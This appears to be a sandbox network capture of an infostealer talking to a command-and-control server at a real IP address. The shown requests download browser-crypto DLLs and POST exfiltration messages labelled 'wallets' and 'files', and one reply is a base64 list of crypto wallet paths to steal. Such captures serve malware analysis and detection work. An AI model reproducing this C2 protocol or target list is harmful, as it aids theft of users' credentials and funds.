48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file"------ECGDBAEHIJKKFHIEGCBG--
Nov 20, 2024 00:19:21.901005030 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:23.153290987 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:23.385481119 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 00:19:23.385690928 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 20, 2024 00:19:23.385706902 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 20, 2024 00:19:23.385721922 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 20, 2024 00:19:23.385737896 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 20, 2024 00:19:23.385752916 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 20, 2024 00:19:23.385768890 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 20, 2024 00:19:23.385788918 CET	620	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Nov 20, 2024 00:19:23.385942936 CET	1236	IN	Data Raw: c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~M
Nov 20, 2024 00:19:23.385960102 CET	1236	IN	Data Raw: fd ff ff 8b 45 f0 89 f9 88 88 00 01 00 00 88 90 01 01 00 00 e9 50 fe ff ff 8b 45 ec 04 07 89 45 ec 0f b6 c0 8b 7d f0 8a 0c 07 00 ce 0f b6 f6 8a 2c 37 88 2c 07 88 0c 37 00 cd 8b 45 10 8a 40 06 0f b6 cd 32 04 0f 88 43 06 8b 4d ec e9 2e f7 ff ff cc Data Ascii: EPEE},7,7E@2CM.USWV\2tRAA q$]QD1A@1RQP5}gjM31
Nov 20, 2024 00:19:24.356949091 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:24.588886023 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 00:19:25.464677095 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:25.709355116 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 00:19:26.320868969 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:26.553869963 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 00:19:28.171212912 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:28.403161049 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 00:19:28.592500925 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 00:19:28.824220896 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 00:19:29.515611887 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 00:19:30.440623045 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:30.528486967 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="message"wallets------KFIJEGCBGIDGHIDHDGCB--
Nov 20, 2024 00:19:30.763887882 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 00:19:30.769242048 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECGHJKKJDHIEBFHCAKE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="message"files------IECGHJKKJDHIEBFHCAKE--
Nov 20, 2024 00:19:31.013794899 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 00:19:31.028146029 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 64 38 36 36 64 32 65 38 38 38 32 35 63 38 65 61 36 38 66 38 33 33 66 61 61 37 35 62 38 63 64 32 65 61 38 63 39 30 39 30 61 39 31 33 33 38 31 32 37 34 35 36 66 61 65 38 66 32 32 66 66 36 37 39 62 36 36 61 33 32 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="token"8d866d2e88825c8ea68f833faa75b8cd2ea8c9090a91338127456fae8f22ff679b66a328------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; 